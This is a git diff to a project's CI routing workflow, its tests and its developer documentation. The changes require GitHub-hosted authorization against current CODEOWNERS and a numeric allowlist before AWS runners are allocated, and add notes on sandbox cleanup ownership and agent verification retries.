diff --git a/.github/scripts/tests/ci-routing.test.mjs b/.github/scripts/tests/ci-routing.test.mjs index 15fb8b2d0c2..ae43a65791f 100644 --- a/.github/scripts/tests/ci-routing.test.mjs +++ b/.github/scripts/tests/ci-routing.test.mjs @@ -4,20 +4,15 @@ import { spawnSync } from "node:child_process"; import { tmpdir } from "node:os"; import path from "node:path"; import test from "node:test"; -import vm from "node:vm"; const workflow = readFileSync(new URL("../../workflows/ci-routing.yml", import.meta.url), "utf8"); const jobs = workflow.split(/^jobs:\n/m)[1]; -test("routing uses reserved capacity and runs no PR code or actions", () => { +test("authorization uses hosted capacity and runs no PR code or actions", () => { assert.deepEqual([...jobs.matchAll(/^ {2}([a-z_]+):$/gm)].map((match) => match[1]), ["gate"]); const placement = jobs.match(/^ {4}runs-on: (.+)$/m)?.[1]; assert.ok(placement, "routing placement must be defined"); - assert.doesNotMatch(placement, /fromJSON/); - assert.ok(placement.includes("vars.AWS_CI_TRUSTED_USER_IDS == vars.AWS_CI_ROUTING_USER_IDS_SOURCE")); - assert.ok(placement.includes("github.event.pull_request.user.id")); - assert.ok(placement.includes("github.event.sender.id")); - assert.ok(placement.endsWith("&& 'runs-on/fleet=paperclip-ci-routing-x64/env=public-ci' || 'ubuntu-latest' }}")); + assert.equal(placement, "ubuntu-latest", "verify current owners before allocating any AWS runner"); assert.doesNotMatch(jobs, /uses:|actions\/checkout|secrets\./); assert.doesNotMatch(workflow, /^ {2}(?:actions|contents|pull-requests): write$/m); }); @@ -29,7 +24,7 @@ test("routing exports both placement and stack scope to callers", () => { assert.match(jobs, /^ {6}full_ci: \$\{\{ steps\.scope\.outputs\.full_ci \}\}$/m); }); -const githubStub = "#!/usr/bin/env bash\nset -Eeuo pipefail\n\nendpoint=\"${*: -1}\"\ncase \"$endpoint\" in\n */pulls/*)\n jq -cn \\\n --argjson author_id \"${TEST_PR_AUTHOR_ID:-34892728}\" \\\n --argjson repository_id \"${TEST_REPOSITORY_ID:-1170821064}\" \\\n --arg base_ref \"${TEST_BASE_REF:-master}\" \\\n --arg base_sha \"${TEST_PR_BASE_SHA:-$EVENT_BASE_SHA}\" \\\n --arg head_sha \"${TEST_PR_HEAD_SHA:-1111111111111111111111111111111111111111}\" \\\n --arg merge_sha \"${TEST_PR_MERGE_SHA:-4444444444444444444444444444444444444444}\" '{\n state: \"open\",\n user: {id: $author_id},\n base: {repo: {id: $repository_id}, ref: $base_ref, sha: $base_sha},\n head: {sha: $head_sha},\n merge_commit_sha: $merge_sha\n }'\n ;;\n */git/ref/heads/*)\n jq -cn \\\n --arg sha \"${TEST_LIVE_BASE_REF_SHA:-$EVENT_BASE_SHA}\" '{object: {sha: $sha}}'\n ;;\n */compare/*)\n [[ -z \"${TEST_COMPARE_FAIL:-}\" ]] || exit 1\n default_files='[{\"filename\":\"server/src/index.ts\"}]'\n jq -cn \\\n --arg merge_base_sha \"${TEST_BASE_COMPARISON_MERGE_BASE_SHA:-$EVENT_BASE_SHA}\" \\\n --arg status \"${TEST_BASE_COMPARISON_STATUS:-ahead}\" \\\n --argjson files \"${TEST_COMPARE_FILES:-$default_files}\" '{\n merge_base_commit: {sha: $merge_base_sha},\n status: $status,\n files: $files\n }'\n ;;\n */git/commits/*)\n requested_sha=\"${endpoint##*/}\"\n live_merge_sha=\"${TEST_PR_MERGE_SHA:-4444444444444444444444444444444444444444}\"\n synthetic_base_merge_sha=\"${TEST_SYNTHETIC_BASE_MERGE_SHA:-}\"\n if [[ \"$requested_sha\" == \"$EVENT_MERGE_SHA\" ]]; then\n tree_sha=\"${TEST_EVENT_MERGE_TREE_SHA:-5555555555555555555555555555555555555555}\"\n base_sha=\"${TEST_EVENT_MERGE_BASE_SHA:-$EVENT_BASE_SHA}\"\n head_sha=\"${TEST_EVENT_MERGE_HEAD_SHA:-$EVENT_HEAD_SHA}\"\n elif [[ \"$requested_sha\" == \"$live_merge_sha\" ]]; then\n tree_sha=\"${TEST_LIVE_MERGE_TREE_SHA:-5555555555555555555555555555555555555555}\"\n base_sha=\"${TEST_LIVE_MERGE_BASE_SHA:-$EVENT_BASE_SHA}\"\n head_sha=\"${TEST_LIVE_MERGE_HEAD_SHA:-$EVENT_HEAD_SHA}\"\n elif [[ -n \"$synthetic_base_merge_sha\" && \"$requested_sha\" == \"$synthetic_base_merge_sha\" ]]; then\n tree_sha=\"${TEST_SYNTHETIC_BASE_MERGE_TREE_SHA:-8888888888888888888888888888888888888888}\"\n base_sha=\"${TEST_SYNTHETIC_MASTER_PARENT_SHA:-9999999999999999999999999999999999999999}\"\n head_sha=\"${TEST_SYNTHETIC_BASE_REF_PARENT_SHA:-${TEST_LIVE_BASE_REF_SHA:-$EVENT_BASE_SHA}}\"\n else\n echo \"unexpected merge commit: $requested_sha\" >&2\n exit 1\n fi\n jq -cn \\\n --arg sha \"$requested_sha\" \\\n --arg tree_sha \"$tree_sha\" \\\n --arg base_sha \"$base_sha\" \\\n --arg head_sha \"$head_sha\" '{\n sha: $sha,\n tree: {sha: $tree_sha},\n parents: [{sha: $base_sha}, {sha: $head_sha}]\n }'\n ;;\n */actions/runs/*)\n jq -cn \\\n --argjson actor_id \"${TEST_TRIGGERING_ACTOR_ID:-34892728}\" \\\n --argjson repository_id \"${TEST_REPOSITORY_ID:-1170821064}\" \\\n --arg event_name \"${TEST_EVENT_NAME:-pull_request}\" '{\n triggering_actor: {id: $actor_id},\n repository: {id: $repository_id},\n event: $event_name\n }'\n ;;\n *)\n echo \"unexpected gh endpoint: $endpoint\" >&2\n exit 1\n ;;\nesac"; +const githubStub = "#!/usr/bin/env bash\nset -Eeuo pipefail\n\nendpoint=\"\"\nquery=\"\"\nfor arg in \"$@\"; do\n case \"$arg\" in /repos/*|/users/*) endpoint=\"$arg\" ;; esac\ndone\nif [[ \"$*\" == *\"--jq\"* ]]; then query=\"${*: -1}\"; fi\ncase \"$endpoint\" in\n */contents/scripts/ci-profile/authorize.mjs?ref=*)\n [[ -z \"${TEST_OWNER_HELPER_FAIL:-}\" ]] || exit 1\n [[ \"$endpoint\" == *\"ref=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\" ]] || exit 1\n base64 < \"$TEST_OWNER_HELPER\"\n ;;\n */contents/.github/CODEOWNERS?ref=*)\n [[ -z \"${TEST_CODEOWNERS_FAIL:-}\" ]] || exit 1\n [[ \"$endpoint\" == *\"ref=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\" ]] || exit 1\n jq -cn --arg content \"$TEST_CODEOWNERS_BASE64\" '{encoding: \"base64\", content: $content}'\n ;;\n /users/ci-owner)\n [[ -z \"${TEST_OWNER_LOOKUP_FAIL:-}\" ]] || exit 1\n jq -cn --argjson id \"${TEST_CI_OWNER_ID:-34892728}\" --arg type \"${TEST_CI_OWNER_TYPE:-User}\" '{id: $id, type: $type}'\n ;;\n */pulls/*)\n jq -cn \\\n --argjson author_id \"${TEST_PR_AUTHOR_ID:-34892728}\" \\\n --argjson repository_id \"${TEST_REPOSITORY_ID:-1170821064}\" \\\n --arg base_ref \"${TEST_BASE_REF:-master}\" \\\n --arg base_sha \"${TEST_PR_BASE_SHA:-$EVENT_BASE_SHA}\" \\\n --arg head_sha \"${TEST_PR_HEAD_SHA:-1111111111111111111111111111111111111111}\" \\\n --arg merge_sha \"${TEST_PR_MERGE_SHA:-4444444444444444444444444444444444444444}\" '{\n state: \"open\",\n user: {id: $author_id},\n base: {repo: {id: $repository_id}, ref: $base_ref, sha: $base_sha},\n head: {sha: $head_sha},\n merge_commit_sha: $merge_sha\n }'\n ;;\n */git/ref/heads/*)\n if [[ \"$query\" == \".object.sha\" ]]; then\n [[ -z \"${TEST_MASTER_FAIL:-}\" ]] || exit 1\n echo \"${TEST_TRUSTED_MASTER_SHA:-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}\"\n exit 0\n fi\n jq -cn \\\n --arg sha \"${TEST_LIVE_BASE_REF_SHA:-$EVENT_BASE_SHA}\" '{object: {sha: $sha}}'\n ;;\n */compare/*)\n [[ -z \"${TEST_COMPARE_FAIL:-}\" ]] || exit 1\n default_files='[{\"filename\":\"server/src/index.ts\"}]'\n jq -cn \\\n --arg merge_base_sha \"${TEST_BASE_COMPARISON_MERGE_BASE_SHA:-$EVENT_BASE_SHA}\" \\\n --arg status \"${TEST_BASE_COMPARISON_STATUS:-ahead}\" \\\n --argjson files \"${TEST_COMPARE_FILES:-$default_files}\" '{\n merge_base_commit: {sha: $merge_base_sha},\n status: $status,\n files: $files\n }'\n ;;\n */git/commits/*)\n requested_sha=\"${endpoint##*/}\"\n live_merge_sha=\"${TEST_PR_MERGE_SHA:-4444444444444444444444444444444444444444}\"\n synthetic_base_merge_sha=\"${TEST_SYNTHETIC_BASE_MERGE_SHA:-}\"\n if [[ \"$requested_sha\" == \"$EVENT_MERGE_SHA\" ]]; then\n tree_sha=\"${TEST_EVENT_MERGE_TREE_SHA:-5555555555555555555555555555555555555555}\"\n base_sha=\"${TEST_EVENT_MERGE_BASE_SHA:-$EVENT_BASE_SHA}\"\n head_sha=\"${TEST_EVENT_MERGE_HEAD_SHA:-$EVENT_HEAD_SHA}\"\n elif [[ \"$requested_sha\" == \"$live_merge_sha\" ]]; then\n tree_sha=\"${TEST_LIVE_MERGE_TREE_SHA:-5555555555555555555555555555555555555555}\"\n base_sha=\"${TEST_LIVE_MERGE_BASE_SHA:-$EVENT_BASE_SHA}\"\n head_sha=\"${TEST_LIVE_MERGE_HEAD_SHA:-$EVENT_HEAD_SHA}\"\n elif [[ -n \"$synthetic_base_merge_sha\" && \"$requested_sha\" == \"$synthetic_base_merge_sha\" ]]; then\n tree_sha=\"${TEST_SYNTHETIC_BASE_MERGE_TREE_SHA:-8888888888888888888888888888888888888888}\"\n base_sha=\"${TEST_SYNTHETIC_MASTER_PARENT_SHA:-9999999999999999999999999999999999999999}\"\n head_sha=\"${TEST_SYNTHETIC_BASE_REF_PARENT_SHA:-${TEST_LIVE_BASE_REF_SHA:-$EVENT_BASE_SHA}}\"\n else\n echo \"unexpected merge commit: $requested_sha\" >&2\n exit 1\n fi\n jq -cn \\\n --arg sha \"$requested_sha\" \\\n --arg tree_sha \"$tree_sha\" \\\n --arg base_sha \"$base_sha\" \\\n --arg head_sha \"$head_sha\" '{\n sha: $sha,\n tree: {sha: $tree_sha},\n parents: [{sha: $base_sha}, {sha: $head_sha}]\n }'\n ;;\n */actions/runs/*/attempts/*)\n jq -cn \\\n --argjson actor_id \"${TEST_TRIGGERING_ACTOR_ID:-34892728}\" \\\n --argjson repository_id \"${TEST_REPOSITORY_ID:-1170821064}\" \\\n --argjson run_attempt \"${TEST_RUN_ATTEMPT:-1}\" \\\n --arg event_name \"${TEST_EVENT_NAME:-pull_request}\" '{\n run_attempt: $run_attempt,\n triggering_actor: {id: $actor_id},\n repository: {id: $repository_id},\n event: $event_name\n }'\n ;;\n *)\n echo \"unexpected gh endpoint: $endpoint\" >&2\n exit 1\n ;;\nesac"; function stepScript(name) { const start = workflow.indexOf(` - name: ${name}\n`); @@ -54,6 +49,9 @@ function executeStep(name, overrides = {}) { ...process.env, PATH: `${directory}:${process.env.PATH}`, GITHUB_OUTPUT: output, + RUNNER_TEMP: directory, + TEST_OWNER_HELPER: path.resolve("scripts/ci-profile/authorize.mjs"), + TEST_CODEOWNERS_BASE64: Buffer.from(".github/** @ci-owner\n").toString("base64"), AWS_CI_ENABLED: "true", TRUSTED_USER_IDS: "[34892728]", EVENT_NAME: "pull_request", @@ -69,6 +67,7 @@ function executeStep(name, overrides = {}) { EVENT_HEAD_SHA: "1111111111111111111111111111111111111111", EVENT_MERGE_SHA: "2222222222222222222222222222222222222222", RUN_ID: "123456789", + RUN_ATTEMPT: "1", ...overrides, }, }); @@ -106,6 +105,22 @@ const routeCases = [ ["unlisted author", { EVENT_PR_AUTHOR_ID: "99999999" }], ["unlisted sender", { EVENT_SENDER_ID: "99999999" }], ["unlisted rerun actor", { TEST_TRIGGERING_ACTOR_ID: "99999999" }], + ["allowlisted user removed from CODEOWNERS", { TEST_CI_OWNER_ID: "99999999" }], + ["CODEOWNER not on numeric allowlist", { TRUSTED_USER_IDS: "[99999999]" }], + ["non-owner PR with owner rerun", { EVENT_PR_AUTHOR_ID: "99999999", TEST_PR_AUTHOR_ID: "99999999", TRUSTED_USER_IDS: "[34892728,99999999]" }], + ["non-owner event sender", { EVENT_SENDER_ID: "99999999", TRUSTED_USER_IDS: "[34892728,99999999]" }], + ["non-owner rerun actor", { TEST_TRIGGERING_ACTOR_ID: "99999999", TRUSTED_USER_IDS: "[34892728,99999999]" }], + ["CODEOWNERS unavailable", { TEST_CODEOWNERS_FAIL: "1" }], + ["owner identity unavailable", { TEST_OWNER_LOOKUP_FAIL: "1" }], + ["owner is not a person", { TEST_CI_OWNER_TYPE: "Bot" }], + ["trusted helper unavailable", { TEST_OWNER_HELPER_FAIL: "1" }], + ["trusted master unavailable", { TEST_MASTER_FAIL: "1" }], + ["invalid trusted master", { TEST_TRUSTED_MASTER_SHA: "bad" }], + ["documentation owners do not authorize CI", { TEST_CODEOWNERS_BASE64: Buffer.from("doc/** @ci-owner\n").toString("base64") }], + ["ambiguous CODEOWNERS deny access", { TEST_CODEOWNERS_BASE64: Buffer.from(".github/** @ci-owner\n/.github/** @ci-owner\n").toString("base64") }], + ["malformed run attempt", { RUN_ATTEMPT: "bad" }], + ["wrong run attempt", { TEST_RUN_ATTEMPT: "2" }], + ["owner rerun validates its own attempt", { RUN_ATTEMPT: "2", TEST_RUN_ATTEMPT: "2" }, awsRunner], ["missing base", { EVENT_BASE_REF: "" }], ["wrong base repository", { EVENT_BASE_REPOSITORY_ID: "999999999" }], ["replaced base ancestry", { TEST_BASE_COMPARISON_MERGE_BASE_SHA: "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" }], @@ -226,53 +241,3 @@ test("path scope skips full CI for a single-PR stack that only touches release n TEST_COMPARE_FILES: files("releases/v2026.1015.0.md"), }).full_ci, "false"); }); - - -function routingPlacement(vars = {}, github = {}) { - const source = "[34892728]"; - const expression = jobs.match(/^ {4}runs-on: \$\{\{ (.+) \}\}$/m)?.[1]; - assert.ok(expression, "routing expression is missing"); - return vm.runInNewContext(expression, { - vars: { - AWS_CI_ENABLED: "true", - AWS_CI_TRUSTED_USER_IDS: source, - AWS_CI_ROUTING_USER_IDS_SOURCE: source, - AWS_CI_ROUTING_USER_IDS: "|34892728|", - ...vars, - }, - github: { - repository: "paperclipai/paperclip", - repository_id: "1170821064", - event_name: "pull_request", - ref: "refs/heads/master", - actor_id: "34892728", - event: { pull_request: { user: { id: 34892728 } }, sender: { id: 34892728 } }, - ...github, - }, - contains: (search, item) => String(search).toLowerCase().includes(String(item).toLowerCase()), - format: (template, ...args) => template.replace(/\{(\d+)\}/g, (_, index) => String(args[Number(index)])), - }, { timeout: 1000 }); -} - -const placementCases = [ - ["approved PR", {}, {}, "runs-on/fleet=paperclip-ci-routing-x64/env=public-ci"], - ["unapproved author", {}, { event: { pull_request: { user: { id: 999 } }, sender: { id: 34892728 } } }], - ["unapproved sender", {}, { event: { pull_request: { user: { id: 34892728 } }, sender: { id: 999 } } }], - ["partial ID cannot match", {}, { event: { pull_request: { user: { id: 4892728 } }, sender: { id: 34892728 } } }], - ["invalid JSON keeps hosted fallback", { AWS_CI_TRUSTED_USER_IDS: "[34892728,]" }, {}], - ["stale snapshot", { AWS_CI_TRUSTED_USER_IDS: "[34892728,999]" }, {}], - ["missing snapshot", { AWS_CI_ROUTING_USER_IDS_SOURCE: "" }, {}], - ["missing admission members", { AWS_CI_ROUTING_USER_IDS: "" }, {}], - ["disabled routing", { AWS_CI_ENABLED: "false" }, {}], - ["different repository", {}, { repository: "other/repo" }], - ["different repository ID", {}, { repository_id: "999" }], - ["approved manual master canary", {}, { event_name: "workflow_dispatch" }, "runs-on/fleet=paperclip-ci-routing-x64/env=public-ci"], - ["unapproved manual actor", {}, { event_name: "workflow_dispatch", actor_id: "999" }], - ["manual branch canary", {}, { event_name: "workflow_dispatch", ref: "refs/heads/other" }], -]; - -for (const [name, vars, github, expected = "ubuntu-latest"] of placementCases) { - test(`placement before allocation: ${name}`, () => { - assert.equal(routingPlacement(vars, github), expected); - }); -} diff --git a/.github/workflows/chat-feature-testops.yml b/.github/workflows/chat-feature-testops.yml index 232408401d0..826a340ae91 100644 --- a/.github/workflows/chat-feature-testops.yml +++ b/.github/workflows/chat-feature-testops.yml @@ -89,6 +89,7 @@ jobs: run: | mkdir -m 700 "$ALLURE_RESULTS" allurectl watch -- node tests/runner-e2e/testops-chat-reporter.mjs bootstrap + node tests/runner-e2e/testops-chat-reporter.mjs bootstrap-context - name: Validate the one real TestOps selection before any build or provider access id: selection if: needs.authorize.outputs.operation == 'evaluate' @@ -134,6 +135,8 @@ jobs: ${{ runner.temp }}/chat-testops-bootstrap-state/plan.json ${{ runner.temp }}/chat-testops-bootstrap-state/job.json ${{ runner.temp }}/chat-testops-bootstrap-state/failure.json + ${{ runner.temp }}/chat-testops-bootstrap-state/registration.json + ${{ runner.temp }}/chat-testops-bootstrap-state/registration-failure.json retention-days: 30 if-no-files-found: error - name: Retain the one plan-launch receipt and stop state diff --git a/.github/workflows/ci-incremental-qualification.yml b/.github/workflows/ci-incremental-qualification.yml index 3b4d608dff8..1542dada224 100644 --- a/.github/workflows/ci-incremental-qualification.yml +++ b/.github/workflows/ci-incremental-qualification.yml @@ -58,6 +58,7 @@ jobs: for (const [file, project, related] of [ ['ui/src/pages/Inbox.tsx', '@paperclipai/ui', 'ui/src/pages/Inbox.test.tsx'], ['server/src/middleware/auth.ts', '@paperclipai/server', 'server/src/__tests__/agent-auth-middleware.test.ts'], + ['server/src/storage/config.test.ts', '@paperclipai/server', 'server/src/storage/config.test.ts'], ]) { const selected = await createTestSelection(planTasks({ config, lanes, paths: [file, "doc/DEVELOPING.md", "doc/plans/2026-10-30-ci-proof.md"] }), head); const graph = selected.graphs.find(graph => graph.project === project); diff --git a/.github/workflows/ci-routing.yml b/.github/workflows/ci-routing.yml index 1b156165c5a..8cfaebf342c 100644 --- a/.github/workflows/ci-routing.yml +++ b/.github/workflows/ci-routing.yml @@ -21,7 +21,9 @@ permissions: jobs: gate: name: Select trusted runner - runs-on: ${{ vars.AWS_CI_ENABLED == 'true' && vars.AWS_CI_ROUTING_USER_IDS_SOURCE != '' && vars.AWS_CI_TRUSTED_USER_IDS == vars.AWS_CI_ROUTING_USER_IDS_SOURCE && github.repository == 'paperclipai/paperclip' && github.repository_id == '1170821064' && ((github.event_name == 'pull_request' && contains(vars.AWS_CI_ROUTING_USER_IDS, format('|{0}|', github.event.pull_request.user.id)) && contains(vars.AWS_CI_ROUTING_USER_IDS, format('|{0}|', github.event.sender.id))) || (github.event_name == 'workflow_dispatch' && github.ref == 'refs/heads/master' && contains(vars.AWS_CI_ROUTING_USER_IDS, format('|{0}|', github.actor_id)))) && 'runs-on/fleet=paperclip-ci-routing-x64/env=public-ci' || 'ubuntu-latest' }} + # No AWS capacity is allocated until current CI CODEOWNERS are verified. + # A cached numeric allowlist alone can outlive removal from CODEOWNERS. + runs-on: ubuntu-latest timeout-minutes: 5 outputs: plan: ${{ steps.plan.outputs.plan }} @@ -51,6 +53,7 @@ jobs: EVENT_HEAD_SHA: ${{ github.event.pull_request.head.sha }} EVENT_MERGE_SHA: ${{ github.sha }} RUN_ID: ${{ github.run_id }} + RUN_ATTEMPT: ${{ github.run_attempt }} run: | set -u @@ -73,7 +76,8 @@ jobs: is_allowed() { local user_id="$1" - jq -e --argjson user_id "$user_id" 'index($user_id) != null' \ + jq -e --argjson user_id "$user_id" --argjson owners "$owner_ids" \ + 'index($user_id) != null and ($owners | index($user_id) != null)' \ <<< "$TRUSTED_USER_IDS" >/dev/null } @@ -94,9 +98,27 @@ jobs: all(.[]; type == "number" and . > 0 and floor == .) ' <<< "$TRUSTED_USER_IDS" >/dev/null 2>&1 || fail_closed 'trusted user ID list is malformed' + # Both the resolver and CODEOWNERS come from the same protected master + # revision. Never use the PR's CODEOWNERS or execute its source here. + trusted_sha="$(gh api /repos/paperclipai/paperclip/git/ref/heads/master --jq .object.sha)" \ + || fail_closed 'could not resolve trusted CODEOWNERS revision' + is_commit_sha "$trusted_sha" || fail_closed 'invalid trusted CODEOWNERS revision' + owner_helper="$RUNNER_TEMP/aws-ci-owners.mjs" + if ! gh api "/repos/paperclipai/paperclip/contents/scripts/ci-profile/authorize.mjs?ref=$trusted_sha" \ + --jq '.content' > "$owner_helper.base64" || + ! base64 --decode < "$owner_helper.base64" > "$owner_helper"; then + fail_closed 'could not load trusted CODEOWNERS resolver' + fi + owner_ids="$(node --input-type=module - "$owner_helper" "$trusted_sha" <<'NODE' + import { pathToFileURL } from 'node:url'; + const { trustedOwnerIds } = await import(pathToFileURL(process.argv[2])); + console.log(JSON.stringify(trustedOwnerIds(undefined, process.argv[3]))); + NODE + )" || fail_closed 'could not verify current CI CODEOWNERS' + for user_id in "$EVENT_PR_AUTHOR_ID" "$EVENT_SENDER_ID"; do is_positive_integer "$user_id" || fail_closed 'event contains a malformed user ID' - is_allowed "$user_id" || fail_closed "GitHub user ID $user_id is not allowlisted" + is_allowed "$user_id" || fail_closed "GitHub user ID $user_id is not an allowlisted CI CODEOWNER" done for commit_sha in "$EVENT_BASE_SHA" "$EVENT_HEAD_SHA" "$EVENT_MERGE_SHA"; do @@ -204,20 +226,24 @@ jobs: [[ "$event_merge_tree" == "$live_merge_tree" ]] \ || fail_closed 'current merge tree differs from the triggering merge tree' + is_positive_integer "$RUN_ID" || fail_closed 'invalid workflow run ID' + is_positive_integer "$RUN_ATTEMPT" || fail_closed 'invalid workflow run attempt' run_json="$(gh api \ -H 'Accept: application/vnd.github+json' \ -H 'X-GitHub-Api-Version: 2022-11-28' \ - "/repos/paperclipai/paperclip/actions/runs/$RUN_ID" 2>/dev/null)" \ + "/repos/paperclipai/paperclip/actions/runs/$RUN_ID/attempts/$RUN_ATTEMPT" 2>/dev/null)" \ || fail_closed 'could not refresh workflow run state' triggering_actor_id="$(jq -r '.triggering_actor.id // empty' <<< "$run_json")" is_positive_integer "$triggering_actor_id" || fail_closed 'workflow run has no valid triggering actor ID' - is_allowed "$triggering_actor_id" || fail_closed "triggering GitHub user ID $triggering_actor_id is not allowlisted" + is_allowed "$triggering_actor_id" || fail_closed "triggering GitHub user ID $triggering_actor_id is not an allowlisted CI CODEOWNER" jq -e \ --argjson repository_id 1170821064 \ + --argjson run_attempt "$RUN_ATTEMPT" \ --arg event_name "$EVENT_NAME" ' .repository.id == $repository_id and + .run_attempt == $run_attempt and .event == $event_name ' <<< "$run_json" >/dev/null 2>&1 \ || fail_closed 'current workflow run does not match the expected repository event' diff --git a/doc/DATABASE.md b/doc/DATABASE.md index ac0d63bb728..bb4c964611d 100644 --- a/doc/DATABASE.md +++ b/doc/DATABASE.md @@ -1545,6 +1545,23 @@ named `review_wait_benchmark...` can be supplied through `PAPERCLIP_TEST_DATABASE_URL` to compare another PostgreSQL major version. DataRow bytes exclude response metadata and transport overhead. + +### Sandbox creation ownership + +Migration 0418 adds `sandbox_creation_operations`. Admission commits company, +original environment, run, request key and provider identity before external +creation. Configuration contains nonsecret values and existing secret references. +The original identity survives environment, run, task and company deletion; only +the optional live environment FK uses SET NULL. Company/run deletion must not +erase an outstanding remote-resource obligation. + +The unique company/environment/run/request index fences duplicate creation and +ambiguous successful lease commits. Normal lease attachment and operation transfer +share a transaction. Recovery transfers one claimed cleanup lease after provider +ownership lookup. The pending deadline index drives the existing cleanup worker. +`needs_reconciliation` is a durable manual outcome, not an automatic retry or an +idle blocker. See [cleanup ownership](idle-environment-cleanup.md). + ## Object-backed run evidence Optional segmented run logs and raw provider traces store their payloads and diff --git a/doc/DEVELOPING.md b/doc/DEVELOPING.md index 5503c537bf8..1c259295ad5 100644 --- a/doc/DEVELOPING.md +++ b/doc/DEVELOPING.md @@ -146,19 +146,19 @@ New workflow versions merged into master then receive runner access without a separate SHA allowlist update. Dependabot leaves this first-party reference on master. -Runner selection calls `ci-routing.yml@master` on the dedicated -`paperclip-ci-routing-x64` AWS Fleet. The `paperclip-ci-routing` runner group -admits only `paperclipai/paperclip/.github/workflows/ci-routing.yml@refs/heads/master` -and repository ID `1170821064`. GitHub evaluates the canonical repository, author, and sender checks before -allocating reserved capacity. The validated admission snapshot (`AWS_CI_ROUTING_USER_IDS_SOURCE` and -`AWS_CI_ROUTING_USER_IDS`) must match `AWS_CI_TRUSTED_USER_IDS`. Refresh it through -the runner-group configuration helper when the roster changes. Missing, stale, -or malformed settings keep hosted routing available without evaluating JSON -in the job's placement expression. Unapproved PRs use hosted metadata routing; -approved manual canaries on master can use the reserved pool. The routing -workflow reads GitHub metadata without checking out or executing PR code. Its author, sender, rerun actor, -repository, head, and merge validation still decide whether tests can use AWS. -Unapproved test workloads continue to use GitHub-hosted runners. +Runner selection calls `ci-routing.yml@master` on a GitHub-hosted runner. It +verifies authorization before allocating any AWS capacity and never checks out +or executes PR code. The author, event sender and rerun actor must each be both +in `AWS_CI_TRUSTED_USER_IDS` and a current owner of `.github/**` in CODEOWNERS. +The resolver and CODEOWNERS are read from the same protected master revision; +PR edits cannot change the trusted owner list. Documentation-only owners, +unsupported owner rules and failed identity lookups do not authorize AWS. +Repository, head and merge validation also apply. Missing or malformed settings +and unverifiable authorization use GitHub-hosted runners. A maintainer rerunning +an outside contributor's PR does not grant it AWS access. +Authorized test jobs and the final `verify` and `e2e` aggregates use the selected +AWS fleet. The metadata authorization job remains hosted even for maintainers, +so stale admission snapshots cannot allocate an AWS runner before verification. The routing workflow also selects the CI scope. Middle PRs in a stack and PRs whose diff changes only release notes (`releases/v*.md` or @@ -213,7 +213,11 @@ coverage without paying for another graph traversal. Filesystem, subprocess, net dynamic-loader, unresolved, and unapproved external-package consumers are retained conservatively, including indirect consumers through local helpers. The selector explicitly tracks setup/configuration dependencies as well as test -imports. The small pure-dependency allowlist lives in +imports. Ordinary source names such as `session-config-metadata.test.ts` or +`setup-state.ts` remain eligible; the words `config` and `setup` alone do not +force full CI. Conventional Vite/Vitest config and setup files remain broad +inputs. Other resolved setup/config dependencies invalidate their entire project. +The small pure-dependency allowlist lives in `scripts/ci/vitest-selection-graph.mjs`; new external packages remain opaque until reviewed. This is deliberately broader than `vitest related` alone. For conservative retention, explicit complete local mock factories cut the @@ -236,6 +240,9 @@ existing selection/execution rules. The job summary reports files and jobs selected per lane, and the `vitest-selection` artifact records the manifest and dependency audit. Selected jobs execute exact Vitest test specifications, so similarly named `.test.ts` and `.test.tsx` files cannot overlap between shards. +The wrapper consumes and validates the selection before launching Vitest, then +removes selection environment variables from the test process. Nested runner +fixtures therefore use their own checkout and test inventory. Missing/deleted/renamed source files, non-exempt non-source inputs, unrecognized graph inputs, setup/config changes, failed dependency installs, graph errors and timeouts use @@ -288,13 +295,10 @@ explicit. When changing shard layout, update `.github/ci-task-matrix.json` and the full fallback matrices in `pr-trusted.yml`; the contract tests require them to agree. Add new cache-affecting environment settings to `globalEnv`. -The routing Fleet has two warm On-Demand runners and a four-runner ceiling. -Test fleets cannot consume its runner slots. Hosted test queues therefore do -not block AWS runner selection. A manual dispatch of `ci-routing.yml` on master -checks placement without launching the test matrix; its non-PR event returns -the hosted test-runner output. Configure and verify the group and Fleet before -merging this caller. To roll back, restore the hosted gate and retain the routing -workflow authorization until assigned jobs finish. +The former reserved routing Fleet is no longer selected by this workflow. +Keep its existing authorization until older assigned jobs finish. A manual +dispatch of `ci-routing.yml` on master exercises the hosted metadata job without +launching the test matrix; its non-PR event returns the hosted test-runner output. Keep the `.github/**` rule in `.github/CODEOWNERS` and the active master ruleset's code-owner review requirement enabled. This covers the caller, the trusted @@ -899,6 +903,32 @@ npx paperclipai allowed-hostname dotta-macbook-pro ## Agent status recovery +Lifecycle verification stops automatic attempts after missing authentication, +an unavailable model or command, an invalid working directory, or unexpected +probe output. A generic failed test gets up to three failures before automatic +checks stop. The saved `verificationFailures` count only advances when the host +verification test fails; claims deferred before the test do not spend that budget. +An explicit retry or execution configuration change resets that count. +The agent stays in `verifying` +with execution paused and a safe error message. Its saved lifecycle operation +records `retryRequired`; process restarts and queue scans retain that wait. +Changing execution configuration or using **Retry now** clears it and runs the +normal verification again. Name and title edits do not restart verification. +Timeouts, unavailable test environments, plugin outages and unclassified runtime +failures retain automatic retry. Pause, termination, resource cleanup and idle +sleep checks keep their existing safety gates. + +Remote directory and command checks preserve timeout, interruption and transport +failures as typed execution-target failures. Adapters carry that signal in the +optional `AdapterEnvironmentCheck.retryable` field. A retryable error becomes +`test_environment_unavailable` before configuration classification, so it neither +parks verification nor consumes the generic failed-test budget. A completed check +that confirms a missing directory or command still waits for configuration repair. + +The retry persistence tests can use a dedicated local PostgreSQL database ending +in `_test` through `PAPERCLIP_LIFECYCLE_VERIFICATION_RETRY_TEST_DATABASE_URL` when +embedded PostgreSQL is unavailable. The test validates that URL before use. + Heartbeat completion locks the agent row before it reads remaining running work and writes the agent status. A concurrent execution start cannot be overwritten by a completion that read older run state. Run terminalization and agent status @@ -1507,6 +1537,45 @@ Configure storage provider/settings: pnpm paperclipai configure --section storage ``` +### Managed cloud prerequisites + +A nonblank Cloud tenant token or the presence of `PAPERCLIP_MANAGED_CONFIG` +selects the managed-cloud profile. A supplied blank or invalid managed feature +document refuses startup. Without either signal, the instance remains self-hosted. +The managed profile also requires: + +- `PAPERCLIP_STORAGE_PROVIDER=s3` or `storage.provider: "s3"` in the canonical + database snapshot. An invalid explicit environment value refuses startup even + if the snapshot selects S3. +- An explicit nonblank 